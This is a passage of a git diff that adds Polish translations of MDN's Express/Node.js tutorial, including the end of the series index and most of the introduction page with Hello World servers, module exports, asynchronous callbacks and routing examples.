+ <dd>W artykule zapoznasz się z krótkim omówieniem baz danych wykorzystywanych w technologii Node/Express. W dalszej części opisujemy jak wykorzystać <a href="http://mongoosejs.com/">Mongoose</a> do zapisu danych naszej "Biblioteki" w tym jak zadeklarować schematy i modele bazy, jakie są główne typy danych i metody ich walidacji. W końcowej cześci zobaczysz jakimi metodami możesz operować na danych za pośrednictwem modeli<span style="font-size: 1rem; letter-spacing: -0.00278rem;">.</span></dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/routes">Szkolenie z Express - część 4: Rutery i kontrolery</a></dt>
+ <dd>W tej części cyklu zdefiniujemy ścieżki URL (z kodem obsługi takiego adresu) do wszystkich podstron naszej aplikacji, a z każdym takim URL skojarzymy funkcję (wstępnie będą to atrapy funkcji), która zostanie wywołana, gdy nadejdzie do niego żądanie. Po zakończeniu będziemy dysponować modułową strukturą kodu routingu, co zapewni nam łatwą rozbudowę aplikacji, gdy w następnych artykułach będziemy kod uzupełniać o rzeczywiste funkcje. Po tej części powinieneś dobrze rozumieć metodę tworzenia modularnego routingu w Express.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Szkolenie z Express - część 5: Prezentacja danych biblioteki</a></dt>
+ <dd>Jesteśmy teraz gotowi dodać do naszej aplikacji strony, które będą wyświetlać książki i pozostałe dane naszej "Biblioteki". Wśród nich znajdzie się strona domowa z informacją ile rekordów danego modelu znajduje się w bazie oraz strony ze szczegółami każdego modelu. Zdobędziesz cenne doświadczenie w pobieraniu danych z bazy i tworzeniu szablonów strony.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms">Szkolenie z Express - część 6: Praca z formularzami</a></dt>
+ <dd>Artykuł przeprowadzi Cię przez proces tworzenia formularzy HTML, które będą współpracować z Express. Skorzystamy z preprocesoram PUG, aby stworzyć formularze do tworzenia, modyfikacji i usuwania dokumentów w bazie danych naszej aplikacji.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/deployment">Szkolenie z Express - część 7: Wdrożenie do produkcji</a></dt>
+ <dd>Masz już gotową super aplikację webową "Biblioteka" i zamierzasz ją zainstalować na publicznym serwerze WWW i w ten sposób stanie się dostępna dla pracowników biblioteki i użytkowników przez Internet. W artykule przedstawiono jak znaleźć odpowiedni hosting dla aplikacji i co powinienś zrobić aby była gotowa do działania w środowisku produkcyjnym.</dd>
+</dl>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Installing_on_PWS_Cloud_Foundry">Instalacji aplikacji "Biblioteka" w PWS/Cloud Foundry</a></dt>
+ <dd>Artykuł przedstawia praktyczną demonstrację instalacji aplikacji "Biblioteka" w serwisie <a href="http://run.pivotal.io">Pivotal Web Services PaaS cloud</a>, który jest w pełni funkcjonalnym, o otwarty kodzie, odpowiednikiem Heroku. PWS/Cloud Foundry jest warte sprawdzenia jeśli szukasz alternatywy dla Herooku lub po prostu chcesz spróbować czegoś innego.</dd>
+</dl>
+
+<h2 id="Zapotrzebowanie_na_kolejne_samouczki">Zapotrzebowanie na kolejne samouczki</h2>
+
+<div>
+<p>To koniec atrykułów szkoleniowych (jak na razie). Jeśli chcesz poszerzać bazę materiałow, to poniżej znaduje się spis tematów, które warto opracować:</p>
+
+<ul>
+ <li>Korzystanie z sesji.</li>
+ <li>Autentykacja użytkowników.</li>
+ <li>Autoryzacja i prawa dostępu użytkowników.</li>
+ <li>Testowanie applikacji webowych tworzonych w Express.</li>
+ <li>Bezpieczeństwo sieciowe w aplikacjach tworzonych w Express.</li>
+</ul>
+</div>
diff --git a/files/pl/learn/server-side/express_nodejs/introduction/index.html b/files/pl/learn/server-side/express_nodejs/introduction/index.html
new file mode 100644
index 0000000000..4c4049f67f
--- /dev/null
+++ b/files/pl/learn/server-side/express_nodejs/introduction/index.html
@@ -0,0 +1,538 @@
+---
+title: Wprowadzenie do Express/Node
+slug: Learn/Server-side/Express_Nodejs/Introduction
+tags:
+ - Początkujacy Express Node
+translation_of: Learn/Server-side/Express_Nodejs/Introduction
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{NextMenu("Learn/Server-side/Express_Nodejs/development_environment", "Learn/Server-side/Express_Nodejs")}}</div>
+
+<dl>
+ <dd>Znajdziesz tutaj odpowiedzi na pytania "Czym jest Node?" i "Co to jest Express?", oraz zrozumiesz co czyni framework Express wyjątkowym. W dalszej części zostały przedstawione najistotniejsze możliwości wraz z głównymi elementami potrzebnymi do budowy aplikacji webowych w Express (choć jeszcze nie będziesz miał przygotowanego środowiska do tworzenia i testowania takich aplikacji).</dd>
+</dl>
+
+<table class="learn-box standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">Wymagania:</th>
+ <td>Podstawowe umiejętności w posługiwaniu się komputerem. Rozumienie ogólnych zasad <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps">programowania po stronie serwera</a>,  w szczególności mechanizmów <a href="/en-US/docs/Learn/Server-side/First_steps/Client-Server_overview">interakcji między klientem a serwerem aplikacji webowych</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">Cel:</th>
+ <td>Zapoznanie się z frameworkiem Express, jego współpracą ze środowiskiem Node, jego funkcjonalnością i głównymi elementami aplikacji tworzonymi w tym frameworku.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Wprowadzenie_do_Node">Wprowadzenie do Node</h2>
+
+<p><a href="https://nodejs.org/">Node</a> (lub bardziej formalnie <em>Node.js</em>) jest wieloplatformowym oprogramowaniem o otwartym kodzie, które pozwala deweloperom na tworzenie wszelkiego rodzaju oprogramowania w języku JavaScript pracującym po stronie serwera. Jest to środowisko uruchomieniowe, które działa poza przeglądarką, współpracujące bezpośrednio z systemem operacyjnym. W ten sposób środowisko Node udostępnia swoim aplikacjom API systemu operacyjnego, w tym dostęp do systemu plików, bibliotek systemowych czy uruchomionych procesów, w tym serwerów HTTP.</p>
+
+<p>Z perspektywy tworzenia oprogramowania po stronie serwera, Node ma szereg zalet:</p>
+
+<ul>
+ <li>Wysoka wydajność! Node zostało zaprojektowane, aby optymalizować wydajność i skalowalność aplikacji webowych i jest dobrym rozwiązaniem wielu często występujących problemów podczas tworzenia aplikacji tego typu.</li>
+ <li>Kod aplikacji to "stary dobry JavaScript", co oznacza, że spędzamy mniej czasu na "przełączanie kontekstu" podczas pracy z różnymi językami po stronie klienta i serwera.</li>
+ <li>JavaScript jest relatywnie nowym językiem programowania i oferuje sporo ulepszeń w porównaniu do innych, tradycyjnie używanych po stronie serwera języków (np. PHP, Python itd.). Także wiele nowszych i popularnych języków jest kompilowanych/tłumaczonych do JavaScript, więc możesz korzystać także z TypeScript, CoffeScript, ClojureScript, Scala.js, LiveScript i innych.</li>
+ <li>Menadżer pakietów środowiska Node (NPM - Node Package Manager) daje Ci dostęp do setek tysięcy pakietów, z których możesz korzystać. Posiada on najlepszy w swojej klasie mechanizm rozwiązywania zależności i może być wykorzystany do automatyzacji pracy narzędzi budujących aplikację.</li>
+ <li>Node.js jest przenośne. Jest dostępne dla Microsoft Widnows, macOs, Linux, Solaris, FreeBSD, OpenBSD, WebOS, and NonStop OS. Jest także wspierane przez dostawców usług sieciowych, którzy zapewniają odpowiednią infrastrukturę i dokumentację do hostowania aplikacji Node.</li>
+ <li><span style="font-size: 1rem; letter-spacing: -0.00278rem;">Ma też bardzo aktywny ekosystem firm trzecich i społeczność programistów, którzy gotowi są służyć pomocą.</span></li>
+</ul>
+
+<p>Możesz teraz wykorzystać Node.js do stworzenia prostego serwera stron WWW posługując się pakietem HTTP.</p>
+
+<h3 id="Hello_Node.js">Hello Node.js</h3>
+
+<p>W poniższym przykładzie utworzymy serwer WWW, który będzie oczekiwał dowolnego rodzaju żądań HTTP skierowanych pod URL <code>http://127.0.0.1:8000/</code> - gdy żądanie zostanie odebrane, skrypt wyśle odpowiedź z łańcuchem "Hello World". Jeśli masz już zainstalowane Node, możesz wykonać poniższe kroki, aby wykonać przykład:</p>
+
+<ol>
+ <li>Otwórz terminal (w Windows otwórz wiersz poleceń - cmd.exe).</li>
+ <li>Utwórz katalog w miejscu, którym chcesz zapisać program, na przykład <code>test-node</code>, a następnie wejdź do nie niego wykonując polecenie w terminalu:</li>
+</ol>
+
+<pre>cd test-node</pre>
+
+<ol start="3">
+ <li>Korzystając z ulubionego edytora tekstu, utwórz plik o nazwie <code>hello.js</code> i wklej do niego poniższy kod:</li>
+</ol>
+
+<pre class="brush: js">// Load HTTP module
+const http = require("http");
+
+const hostname = "127.0.0.1";
+const port = 8000;
+
+// Create HTTP server
+const server = http.createServer((req, res) =&gt; {
+
+ // Set the response HTTP header with HTTP status and Content type
+ res.writeHead(200, {'Content-Type': 'text/plain'});
+
+ // Send the response body "Hello World"
+ res.end('Hello World\n');
+});
+
+// Prints a log once the server starts listening
+server.listen(port, hostname, () =&gt; {
+ console.log(`Server running at http://${hostname}:${port}/`);
+})
+</pre>
+
+<ol start="4">
+ <li>Zapisz plik do katalogu, który utworzyłeś powyżej w punkcie 2.</li>
+ <li>Wróć do terminalu i wpisz następujące polecenie:</li>
+</ol>
+
+<pre class="brush: bash">node hello.js</pre>
+
+<p>W ostatnim kroku otwórz przeglądarkę WWW i wpisz adres <code>http://localhost:8000</code> ; powinieneś zobaczyć napis "<strong>Hello World</strong>" w lewy górnym rogu pustej strony.</p>
+
+<h2 id="Frameworki_do_budowy_aplikacji_webowych">Frameworki do budowy aplikacji webowych</h2>
+
+<p>Inne typowe zadania związane z tworzeniem aplikacji internetowych nie są bezpośrednio wspierane przez samo Node.js. Jeśli chcesz obsługiwać osobno każdą z metod HTTP (np. GET, POST, DELETE itp.), lub obsługiwać żądania w różnych ścieżkach URL („routes”), lub wysyłać statyczne dokumenty (jako pliki HTML) lub korzystać z szablonów do dynamicznego tworzenia odpowiedzi, to będziesz musiał napisać kod samemu. Albo zamiast wymyślać na nowo koło możesz użyć frameworka webowego do tworzenia aplikacji!</p>
+
+<h2 id="Wprowadzenie_do_Express">Wprowadzenie do Express</h2>
+
+<p><a href="https://expressjs.com/">Express</a> to jeden z najpopularniejszych frameworków webowych, który jest także wykorzystywany jako biblioteka w wielu innych popularnych <a href="https://expressjs.com/en/resources/frameworks.html">frameworkach Node</a>. Dostarcza następujących mechanizmów:</p>
+
+<ul>
+ <li>Tworzenie funkcji obsługujących żądania o różnych metodach HTTP i skierowanych do różnych ścieżek w URL (tzw. routing).</li>
+ <li>Integrację z różnymi silnikami do generowania widoków, które są tworzone na podstawie osadzanych danych w szablonach stron.</li>
+ <li>Konfigurowania typowych ustawień aplikacji webowych jak np. portu, lokalizacji szablonów do generowania widoków odpowiedzi.</li>
+ <li>Dodatkowe przetwarzanie żądań w warstwie pośredniej (tzw. "middleware"), które może być umieszczone w dowolnym miejscu łańcucha obsługi żądania.</li>
+</ul>
+
+<p>Ponieważ <em>Express </em>jest dość minimalistyczny, dlatego deweloperzy stworzyli wiele kompatybilnych z nim pakietów pracujących w warstwie pośredniej, które rozwiązują prawie każdy problem pojawiający się w aplikacjach webowych. Są dostępne biblioteki do zarządzania ciasteczkami, do pracy w trybie sesji, do logowania użytkowników, do parsowania: parametrów w URL, danych przesyłanych w żądaniach POST, nagłówków zabezpieczeń i wiele innych. Pełną listę bibliotek rozwijanych przez zespół programistów Express znajdziesz na stronie <a href="http://expressjs.com/en/resources/middleware.html">Express Middleware</a> (która zawiera także popularne pakiety firm trzecich).</p>
+
+<div class="note">
+<p><strong>Uwaga:</strong>  Ta elastyczność Express ma dwa różne oblicza. Jest wiele  pakietów warstwy pośredniej, które rozwiązują prawie każdy problem lub wymaganie, ale ich opracowanie jest czasem nie lada wyzwaniem. Nie ma także "jedynie słusznej" struktury aplikacji, wiele dostępnych w Internecie przykładów nie jest optymalnych, lub prezentują tylko niewielki wycinek tego, co musisz zrobić, aby zbudować aplikację webową.</p>
+</div>
+
+<h2 id="Skąd_się_wziął_Node_i_Express">Skąd się wziął Node i Express?</h2>
+
+<p>Pierwsza edycja Node została wydana, tylko dla systemu Linux, w 2009 roku. Menadżer pakietów NPM pojawił się w 2010, a natywne wsparcie dla systemu Windows dodano w 2012 roku. Bieżąca edycja LTS Node ma wersję v12.13.1, gdy najnowsza wersja Node ma numer 13.2.0. Jest to tylko krótki wycinek z bogatej historii; jeśli chcesz się więcej dowiedzieć zajrzyj do <a href="https://en.wikipedia.org/wiki/Node.js#History">Wikipedi</a>i.</p>
+
+<p>Express został pierwotnie wydany w listopadzie 2010 i obecnie jest dostępny w wersji 4.17.1. Możesz sprawdzić <a href="https://expressjs.com/en/changelog/4x.html">dziennik zmian</a>, aby uzyskać informacje o zmianach w bieżącej wersji, a <a href="https://github.com/expressjs/express/blob/master/History.md">GitHub</a>, aby uzyskać bardziej szczegółowe informacje o historii wersji.</p>
+
+<h2 id="Jak_popularne_są_Node_i_Express">Jak popularne są Node i Express?</h2>
+
+<p>Popularność danego frameworku jest bardzo ważna, gdyż jest wskaźnikiem, czy będzie rozwijany i nadal będzie dostępna dokumentacja, dodatkowe biblioteki i wsparcie techniczne.</p>
+
+<p>Oczywiście nie ma miarodajnego wskaźnika popularności frameworków po stronie serwera (choć są strony takie jak <a href="http://hotframeworks.com/">Hot Frameworks</a>, które próbują oszacować popularność danego framworku na podstawie liczby projektów na GitHub i liczby pytań w serwisie StackOverflow). Lepszym pytaniem jest to, czy Node i Express są wystarczająco popularne, aby nie spotkał ich los niszowych lub zapomnianych platform. Czy mogą liczyć na dalszy rozwój. Czy możesz liczyć na pomoc, gdy będziesz jej potrzebował? Czy istniej możliwość dostania pracy jeśli nauczysz się platformy Express.</p>
+
+<p>Opierając się na liczbie znanych firm korzystających z Express, liczbie osób wnoszących wkład w kod źródłowy oraz liczbie osób zapewniających zarówno bezpłatne, jak i płatne wsparcie, można potwierdzić, że Express jest popularnym frameworkiem!</p>
+
+<h2 id="Czy_Express_jest_restrykcyjny">Czy Express jest restrykcyjny?</h2>
+
+<p>Frameworki webowe często określają siebie jako restrykcyjne lub elastyczne.</p>
+
+<p>Frameworki restrykcyjne to takie, które prezentują jeden „właściwy sposób” na wykonanie określonego zadania. Najczęściej wspierają szybki rozwój w określonej dziedzinie (rozwiązywanie problemów określonego typu), ponieważ ten właściwy sposób realizacji zadania jest zwykle dobrze rozpoznany i udokumentowany. Są jednak znaczniej mniej elastyczne w rozwiązywaniu problemów poza obszarem swojej głównej domeny i nie oferują dużych możliwości w kwestii wyboru komponentów czy rozwiązań, których można użyć.</p>
+
+<p>Przeciwieństwem są frameworki elastyczne, które mają znacznie mniejsze ograniczenia dotyczące wyboru połączenia komponentów w celu realizacji aplikacji, a nawet tego, które komponenty należy zastosować. Ułatwiają programistom na korzystanie z najodpowiedniejszych dla nich narzędzi do wykonania określonego zadania, aczkolwiek kosztem jest konieczność samodzielnego szukania takich komponentów.</p>
+
+<p>Express jest elastyczny. Możesz korzystać z dowolnego kompatybilnego oprogramowania w warstwie pośredniej, włączając je w dowolnym miejscu całego łańcucha obsługi żądań. Możesz tworzyć aplikację z kodem w jednym pliku lub podzielić kod na wiele plików, korzystając z dowolnej struktury katalogów. Czasami możesz odnieść wrażenie, że masz zbyt wiele możliwości!</p>
+
+<h2 id="Jak_wygląda_kod_Express">Jak wygląda kod Express?</h2>
+
+<p>Tradycyjna aplikacja webowa przetwarzająca dane czeka na żądania HTTP nadchodzące z przeglądarki (lub innego programu klienta). W chwili, gdy żądanie nadejdzie, aplikacja określa akcję, która musi być podjęta. O tym jaką akcję należy wybrać decydują wzorzec zawarty w URL i ewentualne informacje zawarte w żądaniu POST lub GET. W zależności od żądania aplikacja może odczytać lub zapisać informacje w bazie danych, może też wykonywać inne zadania. Gdy aplikacja zakończy akcję wysyła odpowiedź do przeglądarki klienta. Najczęściej tą odpowiedzią jest dynamicznie tworzony dokument HTML zawierający dane dla przeglądarki klienta. Dokument taki tworzony jest na podstawie szablonu HTML, w którym wyróżnione są miejsca na dane.</p>
+
+<p>W kolejnych sekcjach wyjaśnimy typowe elementy kodu, z którymi się spotkasz podczas pracy z Express i Node.</p>
+
+<h3 id="Hello_World_Express">Hello World Express</h3>
+
+<p>Na początek zajmiemy się nieśmiertelnym przykładem <a href="https://expressjs.com/en/starter/hello-world.html">Hello World</a> (przedyskutujemy każdy fragment kou w tej i następnych sekcjach).</p>
+
+<div class="note">
+<p><strong>Wskazówka: </strong>Jeśli już masz zainstalowany Node i Express (lub zainstalujesz oba według wskazówek zawartych w <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">następnym artykule</a>), zapisz poniższy kod w pliku <strong>app.js</strong> a następnie uruchom go wpisując w wierszu poleceń:</p>
+
+<p><strong><code>node ./app.js</code></strong></p>
+</div>
+
+<pre class="brush: js">var express = require('express');
+var app = express();
+
+<strong>app.get('/', function(req, res) {
+ res.send('Hello World!');
+});</strong>
+
+app.listen(3000, function() {
+ console.log('Example app listening on port 3000!');
+});
+</pre>
+
+<p>W pierwszych dwóch wierszach importujemy przez <code>require()</code> moduł o nazwie express a następnie tworzymy <a href="https://expressjs.com/en/4x/api.html#app">Aplikację Express</a>. Zwyczajowo obiekt aplikacji został nazwany <code>app</code> i zawiera metody do ustalania trasy (routing) żądań, konfiguracji warstwy pośredniej, renderowania widoków w HTML, rejestracji silnika szablonów i konfiguracji <a href="https://expressjs.com/en/4x/api.html#app.settings.table">ustawień aplikacji</a>, które kontrolują jej zachowanie (np. tryb środowiska, czy definicje routingu są wrażliwe na wielkość znaków itd.)</p>
+
+<p>W środkowej części kodu (trzy kolejne wiersze zaczynające  się od <code>app.get</code>) znajduje się definicja trasy. Metoda określa funkcję zwrotną, która zostanie wywołana, gdy pojawi się żądanie GET HTTP skierowane do ścieżki (<code>'/'</code>) względem katalogu głównego strony. Argumentami funkcji zwrotnej są obiekty żądania (request) i odpowiedzi (response). W ciele funkcji została wywołana metoda <code><a href="https://expressjs.com/en/4x/api.html#res.send">send()</a></code>  odpowiedzi, która wysyła napis "Hello World!" do klienta.</p>
+
+<p>Ostatni blok odpowiada za uruchomienie serwera, który nasłuchuje na porcie 3000 i drukuje komunikaty logów na konsoli. Gdy serwer już działa możesz otworzyć przeglądarkę i po wpisaniu adresu <code>localhost:3000</code> powinieneś zobaczyć odpowiedź serwera.</p>
+
+<h3 id="Import_i_tworzenie_modułów">Import i tworzenie modułów</h3>
+
+<p>Modułem jest biblioteka lub plik JavaScript, który można zaimportować do innego pliku źródłowego przy użyciu funkcji <code>require()</code>. <em>Express </em>jest też modułem, podobnie jak biblioteki funkcji warstwy pośredniej czy baz danych.</p>
+
+<p>W kodzie poniżej widać, jak importujemy moduł przez nazwę, podobnie jak zaimportowaliśmy framework <em>Exress</em> w przykładzie. Najpierw wywołujemy funkcję <code style="font-style: normal; font-weight: normal;">require() </code>z podaną nazwą modułu (<code>'express'</code>), a potem wykorzystujemy zwrócony przez import obiekt, żeby utworzyć <a href="https://expressjs.com/en/4x/api.html#app">aplikację Express</a>. Mając obiekt aplikacji możemy korzystać z jego właściwości i metod.</p>
+
+<pre class="brush: js">var express = require('express');
+var app = express();
+</pre>
+
+<p>Oczywiście możesz też tworzyć własne moduły, które moga być importowane w ten sam sposób.</p>
+
+<div class="note">
+<p><strong>Wskazówka:</strong>  Dobrze, żebyś tworzył własne moduły, wtedy Twoja aplikacja będzia złożona z osobnych, łatwo zarządzanych części. Trzymanie całego kodu aplikacji w jednym pliku tworzy trudny do utrzymania i zrozumienia monolit. Korzystanie z modułów pomoże Ci w kontrolowaniu przestrzeni nazw, czyli na zewnątrz modułu będą dostępne tylko te zmienne, które jawnie z niego eksportujesz.</p>
+</div>
+
+<p>Obiekty, które mają być dostępne na zewnątrz modułu, muszą być przez Ciebie wskazane za pomocą dodanej właściwości obiektu <code>exports</code>. Przykładowy poniżej moduł, zapisany w pliku <strong>square.js</strong>, exportuje dwie metody: <code>area()</code> i <code>perimeter()</code>. </p>
+
+<pre class="brush: js">exports.area = function(width) { return width * width; };
+exports.perimeter = function(width) { return 4 * width; };
+</pre>
+
+<p>Możemy zaimportować moduł funkcją <code>require()</code> i wywołać wyeksportowane metody:</p>
+
+<pre class="brush: js">var square = require('./square'); // Here we require() the name of the file without the (optional) .js file extension
+console.log('The area of a square with a width of 4 is ' + square.area(4));</pre>
+
+<div class="note">
+<p><strong>Wskazówka:</strong>  Możesz też wskazać moduł podając ścieżkę absolutną do jego pliku (lub nazwy, tak jak to już robiliśmy).</p>
+</div>
+
+<p>Jeśli chcesz wyeksportować cały obiekt jednym przypisaniem (zamiast eksportować osobno każdą jego metodę lub pole) to przypisz ten obiekt do <code>module.exports</code> (możesz również tak zrobić, aby obiekt główny eksportu był konstruktorem lub inną funkcją):</p>
+
+<pre class="brush: js">module.exports = {
+ area: function(width) {
+ return width * width;
+ },
+
+ perimeter: function(width) {
+ return 4 * width;
+ }
+};
+</pre>
+
+<div class="note">
+<p><strong>Wskazówka:</strong>  Możesz traktować  <code>exports</code> jak <a href="https://nodejs.org/api/modules.html#modules_exports_shortcut">skrót</a> do <code>module.exports</code> w obrębie danego modułu. Faktycznie, <code>exports</code>  jest właśnie zmienną zainicjalizowana  wartością <code>module.exports</code> zanim modułe zostanie ewaluowany. Ta wartość jest referencją do obiektu (w tym przypadku pustego). Oznacza to, że <code>exports</code> przechowuje referencję do tego samego obiektu, którego odwołuje się <code>module.exports</code>.  To oznacza także, że przypisując do obiektu <code>exports</code> inną wartość przestaje on mieć związek z <code>module.exports</code>.</p>
+</div>
+
+<p>Więcej informacji o modułach znajdziesz w dokumentacji API Node: <a href="https://nodejs.org/api/modules.html#modules_modules">Modules</a>.</p>
+
+<h3 id="Asynchroniczne_API">Asynchroniczne API</h3>
+
+<p>Kod JavaScript częściej wykorzystuje asynchroniczne wykonywanie operacji, których czas może być znaczny. Synchroniczne wykonywanie kodu zakłada, że następna operacja nie może się zacząć, dopóki poprzednia się nie zakończy. Przykładem może być wywołanie synchroniczne dwóch funkcji wysyłających komunikaty do konsoli, które powinny się wyświetlić w kolejności: "First, Second":</p>
+
+<pre class="brush: js">console.log('First');
+console.log('Second');
+</pre>
+
+<p>Przeciwieństwem jest kod wykonywany asynchronicznie, w którym kolejna operacja jest uruchamiana, i zanim się zakończy, wywołana jest następna. Gdy operacja się zakończy, mechanizm API wywołuje dodatkowe działanie. Poniższy przykład wyświetli na konsoli komunikaty "Second, First", ponieważ najpierw wywoływana jest funkcja <code>setTimeout()</code>, która po uruchomieniu odliczania czasu, natychmiast wraca i jest wywoływana następna funkcja.</p>
+
+<pre class="brush: js">setTimeout(function() {
+ console.log('First');
+ }, 3000);
+console.log('Second');
+</pre>
+
+<p>Korzystanie z nieblokującego asynchronicznego API jest znacznie ważniejsze w Node niż w przeglądarce, ponieważ Node jest jednowątkowym, sterowanym zdarzeniowo, środowiskiem uruchomieniowym. "Jednowątkowe" oznacza, że wszystkie żądania skierowane do serwera są wykonywane w tym samym wątku (czyli nie są uruchamiane w oddzielnych procesach, które mogłyby się wykonywać równocześnie). Taki model jest bardzo wydajny pod względem szybkość wykonywania i wykorzystania zasobów serwera, ale powoduje on, że jeśli zostanie wywołana synchronicznie funkcja, której wykonanie trwa długo, to zablokuje ona nie tylko bieżące żądanie, ale także wszystkie pozostałe obsługiwane w tym czasie przez aplikację.</p>
+
+<p>Jest kilka metod do sygnalizowania, że asynchroniczna operacja się zakończyła. Najczęściej wykorzystywana jest rejestracja funkcji zwrotnej podczas wywoływania asynchronicznego. Funkcja zwrotna zostanie wywołana, gdy asynchroniczna operacja się zakończy. Z takiego podejścia skorzystano w przykładzie powyżej.</p>
+
+<div class="note">
+<p><strong>Uwaga:</strong> Korzystanie z funkcji zwrotnych może prowadzić do bałaganu. Jeśli zaczniesz tworzyć sekwencję kolejnych wywołań operacji asynchronicznych, aby wykonały się we właściwym porządku, to w rezultacie powstaje wiele poziomów zagnieżdżonych wywołań. Jest to znany problem o nazwie "callback hell" (piekło funkcji callback).  Skutki problemu można złagodzić stosując dobre praktyki (zobacz <a href="http://callbackhell.com/">http://callbackhell.com/</a>), wykorzystując odpowiednie biblioteki jak np. <a href="https://www.npmjs.com/package/async">async</a>, lub możliwości standardu ES6 jak np. <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a>.</p>
+</div>
+
+<div class="note">
+<p><strong>Uwaga:</strong>  Funkcje zwrotne w Node i Express stosują wspólną konwencję, według której pierwszym argumentem funkcji zwrotnej jest wartość błędu. Drugim argumentem jest obiekt zawierający wszystkie dane zwrócone po prawidłowym zakończeniu funkcji wywołującej. Blog <a href="http://fredkschott.com/post/2014/03/understanding-error-first-callbacks-in-node-js" style="font-size: 1rem; letter-spacing: -0.00278rem;">The Node.js Way - Understanding Error-First Callbacks</a><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> (fredkschott.com) zawiera dobre wyjaśnienie, dlaczego ta konwencja jest tak użyteczna</span><span style="font-size: 1rem; letter-spacing: -0.00278rem;">.</span></p>
+</div>
+
+<h3 id="Tworzenie_procedur_obsługi_tras">Tworzenie procedur obsługi tras</h3>
+
+<p>W naszej przykładowej aplikacji Hello World zdefiniowaliśmy funkcję obsługującą żądania GET protokołu HTTP skierowane do katalogu głównego strony <code>'/'</code>).</p>
+
+<pre class="brush: js">app.<strong>get</strong>('/', function(req, res) {
+ res.send('Hello World!');
+});
+</pre>
+
+<p>Funkcja zwrotna podczas wywołania otrzymuje obiekty żądania i odpowiedzi jako argumenty. W naszym przypadku funkcja po prostu wywołuje <code><a href="https://expressjs.com/en/4x/api.html#res.send">send()</a></code> na obiekcie odpowiedzi ,żeby wysłać napis "Hello World!". Nie jest to jedyna metoda formułowania odpowiedzi na żądanie. Istnieje wiele metod kończących cykl procesu przetwarzania żądania w odpowiedzi np. możesz wywołać metodę <code><a href="https://expressjs.com/en/4x/api.html#res.json">json()</a></code>, żeby wysłać odpowiedź w formacie JSON lub <code><a href="https://expressjs.com/en/4x/api.html#res.sendFile">sendFile()</a></code>, aby wysyłać plik.</p>
+
+<div class="note">
+<p><strong>JavaScript tip:</strong>  W funkcji zwrotnej obiekty żądania i odpowiedzi mogą mieć dowolne nazwy, ważne abyś zapamiętał, że podczas wywołania tej funkcji zawsze pierwszym argumentem jest obiekt żądania, a drugim obiekt odpowiedzi. Jednak jest głęboki sens w tym, aby oba argumenty nazwać zgodnie z ich przeznaczeniem.</p>
+</div>
+
+<p>Obiekt aplikacji Express posiada odpowiednie metody do definiowania funkcji obsługujących pozostałe rodzaje żądań HTTP :</p>
+
+<p><code>checkout()</code>, <code>copy()</code>, <strong><code>delete()</code></strong>, <strong><code>get()</code></strong>, <code>head()</code>, <code>lock()</code>, <code>merge()</code>, <code>mkactivity()</code>, <code>mkcol()</code>, <code>move()</code>, <code>m-search()</code>, <code>notify()</code>, <code>options()</code>, <code>patch()</code>, <strong><code>post()</code></strong>, <code>purge()</code>, <strong><code>put()</code></strong>, <code>report()</code>, <code>search()</code>, <code>subscribe()</code>, <code>trace()</code>, <code>unlock()</code>, <code>unsubscribe()</code>.</p>
+
+<p>Jest  też jedna specjalna metoda <code>app.all()</code>, która jest wywoływana dla każdego żądania HTTP. Wykorzystuje się ją do instalowania funkcji warstwy pośredniej obsługujących wybraną trasę dla dowolnych żądań. Poniższy przykład (pochodzący z dokumentacji Express) ilustruje przypadek funkcji obsługującej wszystkie żądania (o dowolnej metodzie HTTP) skierowane do ścieżki  <code>/secret</code> (funkcja pochodzi z modułu <a href="https://nodejs.org/api/http.html#http_http_methods">http</a>).</p>
+
+<pre class="brush: js">app.all('/secret', function(req, res, next) {
+ console.log('Accessing the secret section ...');
+ next(); // pass control to the next handler
+});</pre>
+
+<p>Metody definiujące trasy są wywoływane na podstawie dopasowania do określonych wzorców w URL jak i wydobywają pewne części z URL i przekazują je jako parametry do funkcji obsługi żądania (jako atrybuty żądania).</p>
+
+<p>Często przydatne jest grupowanie procedur obsługi tras dla określonej części witryny i uzyskiwanie do nich dostępu za pomocą wspólnego przedrostka ścieżki (np. strona z Wiki może mieć wszystkie trasy związane z wiki w jednym pliku i mieć do nich dostęp w postaci ścieżki z prefiksem /wiki/). Za realizacje grupowania odpowiedzialny jest obiekt <code><a href="http://expressjs.com/en/guide/routing.html#express-router">express.Router</a></code>.  Wracając do przykładu Wiki: wszystkie trasy możemy umieścić w module <strong>wiki.js</strong> i wyeksportować je do obiektu <code>Router</code> , jak w przykładzie poniżej:</p>
+
+<pre class="brush: js">// wiki.js - Wiki route module
+
+var express = require('express');
+var router = express.Router();
+
+// Home page route
+router.get('/', function(req, res) {
+ res.send('Wiki home page');
+});
+
+// About page route
+router.get('/about', function(req, res) {
+ res.send('About this wiki');
+});
+
+module.exports = router;
+</pre>
+
+<div class="note">
+<p><strong>Uwaga:</strong> Dodawanie tras do obiektu <code>Router</code> jest jak dodawanie tras do obiektu <code>app</code> (jak pokazaliśmy to już wcześniej).</p>
+</div>
+
+<p>Dołączamy utworzony router (nasz plik <strong>wiki.js</strong>) do głównego pliku aplikacji przez <code>require()</code>  i włączamy go do warstwy pośredniej aplikacji wywołując metodę <code>use()</code>. To spowoduje, że nasza aplikacja będzie teraz obsługiwać dwie ściezki: <code style="font-style: normal; font-weight: normal;">/wiki/</code> i <code style="font-style: normal; font-weight: normal;">/wiki/about/</code>.</p>
+
+<pre class="brush: js">var wiki = require('./wiki.js');
+// ...
+app.use('/wiki', wiki);</pre>
+
